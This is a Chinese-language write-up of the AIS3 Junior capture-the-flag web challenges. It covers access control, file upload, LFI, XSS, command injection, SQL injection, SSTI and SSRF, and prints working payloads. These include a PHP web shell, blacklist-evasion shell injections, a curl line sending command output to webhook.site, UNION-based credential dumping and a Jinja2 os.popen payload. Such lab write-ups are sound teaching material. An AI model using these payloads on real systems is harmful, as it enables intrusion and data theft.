AIS3 Junior writeup

AIS3 Junior writeup

zichun

01 - Broken Access Control

BAC 01

進入網頁後,有個輸入框問你是誰 image

隨便輸入幾個名字,發現都是進入 user 這個路徑,並輸出 Welcome {name}! image

嘗試更改路徑到 admin image

AIS3_Junior{FirstBROKENAccessControl;)}

BAC 02

進入網頁後,可以看出他是個購物網站 image

將四樣商品點開,發現他們都是在 product 目錄下,依序為第 12356image

更改網址,看看沒擺出來的 編號4商品
結果竟然是在賣 FLAG,而且還不用錢! image image

AIS3_Junior{BroJustFoundBabyIDORVulnerability}

BAC 03

類似 BAC01 的頁面,不過前面的方法對它沒用 image

嘗試利用 Burpsuite 攔截封包,結果發現程式碼內有 FLAG image

AIS3_Junior{BabyBRokenAccEssControoooooool}

02 - File Upload

FIL 01

一個可以上傳東西的網站 image

甚至可以上傳包含 <?php system($_GET['cmd']);?> 的 web shell image

上傳完成後,進入 url/uploads/c3644_108.160.138.201.php
在網址後方接上 ?cmd={command} ,其中 {command} 可以插入任意指令

ls 發現這層目錄好像沒甚麼東西,
到前一層目錄看看 ({command}=ls%20../)
發現 FLAG 並印出 ({command}=cat%20../FLAG)

AIS3_Junior{FirstWEBSHELLXDDD}

FIL 02

與上一題類似的網頁,但它似乎不給上傳 php 檔 image

將檔案類型改為 image/jpg,並送出修改過的封包內容
image

檔案上傳後,使用與前面一樣的方法,進入 url/uploads/c3644_108.160.138.201.php。結果發現前一層目錄中也有 FLAG 存在,將其印出即可得到答案
image

AIS3_Junior{BabyUploadBypass}

03 - Local File Inclusion

LFI 01

一個登錄系統和一張貓咪圖片 image

該圖片網址為 url/include.php?GetType=file_get_contents&file=static/bitcoinCat.jpg ,可以判斷這張圖片是透過 php 存取的

透過 php 偽協議 php://filter/read=convert.base64-encode/resource=index.php,可以將 index.php 的內容以 base64 編碼的方式讀取,解碼後即可還原出完整原始碼

發現管理員 帳號: admin 、 密碼: CATLOVEBITCOINMEOWMEOW image

登入管理員帳號後,即可得到 FLAG image

AIS3_Junior{php://filter/BabyPHPLFI.b64decode()}

LFI 02

檔案上傳後,存在 /tmp/c3644_108.160.138.201.phpimage

先回到根目錄後並嘗試進入該目錄 url/post.php?form=/../../../../../../tmp/c3644_108.160.138.201.php

接上指令 &cmd=ls,查看目錄中檔案 image

使用 &cmd={command},而非 ?cmd={command} 原因是前面已使用過 .php?form=,而我們還需要再接上額外指令,所以將其它的指令用 & 連接

接上指令 &cmd=cat%20S3Cr3TFLAGGGGG,查看 S3Cr3TFLAGGGGG 內容 image

AIS3_Junior{../../../../tmp/BADBAD.php?LFI=SUCCESS}

04 - Cross-Site Scripting

XSS 01

這個系統會問你是誰 image

發現原始碼中有 FLAG 這個變數 image

在輸入框中,輸入 <script>alert(FLAG)</script> 即可取得 FLAG

AIS3_Junior{XSSXSSXSSXSS}

05 - Command Injection

CMD 01

這個網頁可以確認 IP 狀態 image

在輸入的 IP 後接上指令。如 ;ls -al,顯示如下 image

看看 FLAG 裡面存著甚麼 image

AIS3_Junior{BabyCommand;InjectionXDDDddddd}

CMD 02

這與上一題類似的網站 image

嘗試使用一樣的指令,但 ls 似乎被加進黑名單了 image

不過沒關係,我們可以利用 Spilt Evasion,將 ls 寫成 l$()s,插入後發現指令可以執行了!

輸入 ;c$()at FLAG,取得 FLAG 的內容 image

AIS3_Junior{niceWordBL$()ACKListEvasion;)}

CMD 03

與前兩題類似,但 分號空格 等字元似乎被加進黑名單過濾了

不過沒關係,我們可以透過 Blacklist Evasion 繞過黑名單過濾機制。

逃脫方法 原始字元 逃脫方式
Spilt Evasion cat c$()at
Bash Operator ; |
Space Evasion 空格 ${IFS}

;cat FLAG 改為輸入 |c$()at${IFS}FLAG image

AIS3_Junior{BashOperato|rEvasion${IFS}SUCC|ESSFUL|:DDDDD}

CMD 04

雖然與前面幾題長很像,但先前的指令對這題沒用 image

束手無策,只好試試看用 webhook 能不能撈到些資訊

透過curl 將數據傳至 webhook,並利用前面手法繞過驗證
|cu$()rl${IFS}-X${IFS}POST${IFS}https://webhook.site/your_UUID${IFS}-d${IFS}out$()put=$(l$()s)
image

ls 後,發現裡面有 ERRORCMDi_FLAG 檔案
ls 改為 cat ERRORCMDi_FLAG,即可得到 FLAG image

AIS3_Junior{E${IFS}RRORB3sed|$(CMDi)Succ3ss:DD}

CMD 05

與前一題類似,一樣先 ls 將資料夾檔案列出 image

同上題,將 ls 改為 cat BLindCMDiFLAG後,即可得到 FLAG image

AIS3_Junior{BROJust|curl%20-d%20$(l3akTheDATAT0outSideXDD)}

CMD 06

同上題,輸入 |c$()at${IFS}FLAG 即可取得FLAG image

AIS3_Junior{ouo_hihi}

06 - SQL Injection

SQL 01

一個登入系統 image

在帳號欄位填入 admin' or 1==1 -- # ,將帳號設為 admin 並將後面判斷註解掉 image

AIS3_Junior{SQL'InjectionXDorD=D_--_-}

SQL 02

一個有輸入框的頁面 image

隨意輸入後,會進到此頁面 image

可以使用 UNION SELECT (num) # 來測試查詢的有效欄位數,當 (num) 填入 11,21,2,3 時,系統都報錯了。
而填入 1,2,3,4 時不再報錯,說明這個資料庫的查詢需要匹配四個欄位!image

使用 UNION SELECT 搭配 group_concat(schema_name) 從 information_schema.schemata 中獲取所有資料庫名稱,
' UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata # image

選定 ApexPredators 資料庫後,使用 UNION SELECTgroup_concat(table_name) 從 information_schema.tables 中查詢該資料庫的所有表格名稱。
' UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema='ApexPredators' # image

確認表格後,我對 ApexPredators 資料庫中的 user 表格進行查詢,利用 WHERE table_name 篩選表格及查詢欄位名稱
' UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_schema='ApexPredators' AND table_name='users' # image

鎖定 ApexPredators.users 欄位,使用 UNION SELECT 1,username,isAdmin,password 提取帳號、密碼及是否為管理員等重要資訊
' UNION SELECT 1,username,isAdmin,password FROM ApexPredators.users # image

從提取的資料中發現用戶 KubenBlisk 是管理員,使用該帳號密碼後成功登入系統即可取得 FLAG
image image

AIS3_Junior{_BRO-DO_A--UNION_SELECTXDDD_--_-}

07 - Server-Side Template Injection

STI 01

有一個輸入框,輸入 1+1 會回傳2。 image

利用在網路上找到的payload
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() image

裡面有個 FLAG 檔案,我們可以稍微修改 payload,讓它印出 FLAG 內容
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() image

AIS3_Junior{._JinjaTWOOOO.__["SSTI]_.succ3ssXDD._}

STI 02

利用與上題同樣的payload,即可取得FLAG
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat FLAG').read() image

AIS3_Junior{b4by__.filt3rEvasion.__Succ3ss}

08 - Server-Side Request Forgery

SRF 01

一個可以分析圖片的網站 image

先攔截看看封包內容 image

因為題目提到 FLAG 藏在 /app/FLAG 中,將 url 改為 /app/FLAG 後重新送出即可在原始碼中發現編碼過的字串
image

使用 base64 decode 後,即可得到 FLAG

AIS3_Junior{file://SSRF___XDDD}

SRF 02

與上一題類似的網站

題目雖然沒有說 FLAG 藏在哪裡,但 我通靈推測藏在 localhost 中 image

使用 base64 decode 後,即可得到 FLAG

AIS3_Junior{http://BROAccessLOCAL}

  • Title: AIS3 Junior writeup
  • Author: zichun
  • Created at : 2024-08-16 00:00:00
  • Updated at : 2024-08-20 11:50:44
  • Link: https://zichun808.me/AIS3-Junior-writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.